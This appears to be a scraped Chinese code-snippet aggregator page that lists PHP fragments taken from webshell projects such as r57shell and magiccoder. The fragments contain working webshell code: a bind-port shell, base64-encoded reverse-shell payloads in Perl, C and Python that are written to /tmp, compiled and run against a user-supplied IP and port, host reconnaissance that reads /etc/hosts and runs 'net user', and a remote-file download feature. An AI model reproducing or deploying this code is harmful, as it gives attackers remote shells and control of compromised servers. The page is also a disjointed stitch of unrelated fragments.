             case 'exec':
                 $res = @exec(which('perl') . " /tmp/magiccoder_bind_pl {$yourport_bind} &");
                 break;
             case 'execute':
                 $res = @execute(which('perl') . " /tmp/magiccoder_bind_pl {$yourport_bind} &");
                 break;
             case 'shell_exec':
                 $res = @shell_exec(which('perl') . " /tmp/magiccoder_bind_pl {$yourport_bind} &");
                 break;
             case 'popen':
                 $res = @fread(popen(which('perl') . " /tmp/magiccoder_bind_pl {$yourport_bind} &", r), 9999);
                 break;
         }
     }
     m("bind on port {$yourport_bind} Started...");
     echo '<br><center>Use from <b>' . $_POST['execfunction_bind'] . '</b> function<hr width="222px" noshade /></center>';
 }
 formhead(array('title' => 'Bind Port'));
 makehide('action', 'net');
 p('<p>');
 p('Your Port:');
 makeinput(array('name' => 'yourport_bind', 'size' => 15, 'value' => $yourport_bind));
 p('Use:');
 makeselect(array('name' => 'use', 'option' => $usedb, 'selected' => $use));
 echo "Function: <select class=\"input\" name=\"execfunction_bind\" >\n<option value=\"system\">system</option>\n<option value=\"passthru\">passthru</option>\n<option value=\"exec\">exec</option>\n<option value=\"execute\">execute</option>\n<option value=\"shell_exec\">shell_exec</option>\n<option value=\"popen\">popen</option>\n</select>\n";
 makeinput(array('name' => 'start_bind', 'value' => 'Start', 'type' => 'submit', 'class' => 'bt'));
开发者ID:Theov,项目名称:webshells,代码行数:31,代码来源:magiccoder.php


示例14: clear_ar_tmp_dir

function clear_ar_tmp_dir($dir)
{
    foreach (glob($dir . '/*') as $file) {
        execute(which("rm") . " -r -f " . escapeshellarg($file));
    }
}
开发者ID:anboto,项目名称:xtreamer-web-sdk,代码行数:6,代码来源:func.php


示例15: cf

 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
 $back_connect_py = "IyEvdXNyL2Jpbi9weXRob24gDQppbXBvcnQgc3lzIA0KaW1wb3J0IHNvY2tldCANCnNoZWxsPScv" . "YmluL2Jhc2gnIA0KZGVmIG1haW4oKTogDQogICAgcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFG" . "X0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKSANCiAgICB0cnk6IA0KICAgICAgICBzLmNvbm5lY3Qo" . "KHNvY2tldC5nZXRob3N0YnluYW1lKHN5cy5hcmd2WzFdKSxpbnQoc3lzLmFyZ3ZbMl0pKSkgDQog" . "ICAgICAgIHByaW50ICdbK11Db25uZWN0IE9LJyANCiAgICBleGNlcHQ6IA0KICAgICAgICBwcmlu" . "dCAiWy1dQ2FuJ3QgY29ubmVjdCIgDQogICAgICAgIHN5cy5leGl0KDIpIA0KICAgIGltcG9ydCBv" . "cyANCiAgICBvcy5kdXAyKHMuZmlsZW5vKCksMCkgDQogICAgb3MuZHVwMihzLmZpbGVubygpLDEp" . "IA0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwyKSANCiAgICBpbXBvcnQgcHR5IA0KICAgIGdsb2Jh" . "bCBzaGVsbCANCiAgICBwdHkuc3Bhd24oc2hlbGwpDQogICAgcy5jbG9zZSgpIA0KaWYgX19uYW1l" . "X18gPT0gJ19fbWFpbl9fJzogDQogICAgbWFpbigpICANCg==";
 if ($start && $yourip && $yourport && $use) {
     if ($use == 'perl') {
         cf('/tmp/angel_bc', $back_connect);
         $res = execute(which('perl') . " /tmp/angel_bc {$yourip} {$yourport} &");
     } else {
         if ($use == 'c') {
             cf('/tmp/angel_bc.c', $back_connect_c);
             $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
             @unlink('/tmp/angel_bc.c');
             $res = execute("/tmp/angel_bc {$yourip} {$yourport} &");
         } else {
             if ($use == 'python') {
                 cf('/tmp/angel_bcpy', $back_connect_py);
                 $res = execute(which('python') . " /tmp/angel_bcpy {$yourip} {$yourport} &");
             }
         }
     }
     m("Now script try connect to {$yourip} port {$yourport} ...");
 }
 formhead(array('title' => 'Back Connect'));
 makehide('action', 'backconnect');
 p('<p>');
 p('Your IP:');
 makeinput(array('name' => 'yourip', 'size' => 20, 'value' => $yourip));
 p('Your Port:');
 makeinput(array('name' => 'yourport', 'size' => 15, 'value' => $yourport));
 p('Use:');
 makeselect(array('name' => 'use', 'option' => $usedb, 'selected' => $use));
 makeinput(array('name' => 'start', 'value' => 'Start', 'type' => 'submit', 'class' => 'bt'));
开发者ID:oneoneplus,项目名称:webshell,代码行数:31,代码来源:picconf.php


示例16: foreach

            foreach ($userful as $item) {
                if (which($item)) {
                    $temp[] = $item;
                }
            }
            secparam('Userful', implode(', ', $temp));
            $temp = array();
            foreach ($danger as $item) {
                if (which($item)) {
                    $temp[] = $item;
                }
            }
            secparam('Danger', implode(', ', $temp));
            $temp = array();
            foreach ($downloaders as $item) {
                if (which($item)) {
                    $temp[] = $item;
                }
            }
            secparam('Downloaders', implode(', ', $temp));
            secparam('Hosts', @file_get_contents('/etc/hosts'));
            secparam('HDD space', execute('df -h'));
            secparam('Mount options', @file_get_contents('/etc/fstab'));
        }
    } else {
        secparam('OS Version', execute('ver'));
        secparam('Account Settings', execute('net accounts'));
        secparam('User Accounts', execute('net user'));
        secparam('IP Configurate', execute('ipconfig -all'));
    }
} else {
开发者ID:evil7,项目名称:webshell,代码行数:31,代码来源:z7.php


示例17: which

        case links:
            $p2 = which("links");
            if (empty($p2)) {
                $p2 = "links";
            }
            $_POST['cmd'] = $p2 . " -source " . $_POST['rem_file'] . " > " . $_POST['loc_file'] . "";
            break;
        case GET:
            $p2 = which("GET");
            if (empty($p2)) {
                $p2 = "GET";
            }
            $_POST['cmd'] = $p2 . " " . $_POST['rem_file'] . " > " . $_POST['loc_file'] . "";
            break;
        case curl:
            $p2 = which("curl");
            if (empty($p2)) {
                $p2 = "curl";
            }
            $_POST['cmd'] = $p2 . " " . $_POST['rem_file'] . " -o " . $_POST['loc_file'] . "";
            break;
    }
}
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
/* command execute */
echo $table_up3;
if (empty($_POST['cmd']) && !$safe_mode) {
    $_POST['cmd'] = $windows ? "dir" : "ls -lia";
} else {
    if (empty($_POST['cmd']) && $safe_mode) {
        $_POST['cmd'] = "safe_dir";
开发者ID:retanoj,项目名称:webshellSample,代码行数:31,代码来源:cba3e0e2e0bc97e937acf08c46f6d04c.php


示例18: sr

    if (which('wget')) {
        $select .= "<option value=\"wget\">wget</option>";
    }
    if (which('fetch')) {
        $select .= "<option value=\"fetch\">fetch</option>";
    }
    if (which('lynx')) {
        $select .= "<option value=\"lynx\">lynx</option>";
    }
    if (which('links')) {
        $select .= "<option value=\"links\">links</option>";
    }
    if (which('curl')) {
        $select .= "<option value=\"curl\">curl</option>";
    }
    if (which('GET')) {
        $select .= "<option value=\"GET\">GET</option>";
    }
}
if ($select) {
    echo $fs . $table_up1 . div_title($lang[$language . '_text15'], 'id31') . $table_up2 . div('id31') . $ts;
    echo sr(15, "<b>" . $lang[$language . '_text16'] . $arrow . "</b>", "<select size=\"1\" name=\"with\">" . $select . "</select>" . in('hidden', 'dir', 0, $dir) . ws(2) . "<b>" . $lang[$language . '_text17'] . $arrow . "</b>" . in('text', 'rem_file', 78, 'http://'));
    echo sr(15, "<b>" . $lang[$language . '_text18'] . $arrow . "</b>", in('text', 'loc_file', 105, $dir) . ws(4) . in('submit', 'submit', 0, $lang[$language . '_butt2']));
    echo $te . '</div>' . $table_end1 . $fe;
}
echo $fs . $table_up1 . div_title($lang[$language . '_text86'], 'id32') . $table_up2 . div('id32') . $ts;
echo sr(15, "<b>" . $lang[$language . '_text59'] . $arrow . "</b>", in('text', 'd_name', 85, $dir) . in('hidden', 'cmd', 0, 'download_file') . in('hidden', 'dir', 0, $dir) . ws(4) . in('submit', 'submit', 0, $lang[$language . '_butt14']));
$arh = $lang[$language . '_text92'];
if (@function_exists('gzcompress')) {
    $arh .= in('radio', 'compress', 0, 'zip') . ' zip';
}
开发者ID:Theov,项目名称:webshells,代码行数:31,代码来源:r57shell1.40.php


示例19: execute

		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

	if ($start && $yourip && $yourport && $use){
		if ($use == 'perl') {
			cf('/tmp/angel_bc',$back_connect);
			$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
		} else {
			cf('/tmp/angel_bc.c',$back_connect_c);
			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
			@unlink('/tmp/angel_bc.c');
			$res = execute("/tmp/angel_bc $yourip $yourport &");
		}
		m("Now script try connect to $yourip port $yourport ...");
	}

	formhead(array('title'=>'Back Connect'));
	makehide('action','backconnect');
	p('<p>');
	p('Your IP:');
	makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
	p('Your Port:');
开发者ID:noikiy,项目名称:mdwp,代码行数:31,代码来源:ZPart.class.php


示例20: stripslashes_


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP whichApplication函数代码示例发布时间:2022-05-23
下一篇:
PHP whereDbNode函数代码示例发布时间:2022-05-23
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap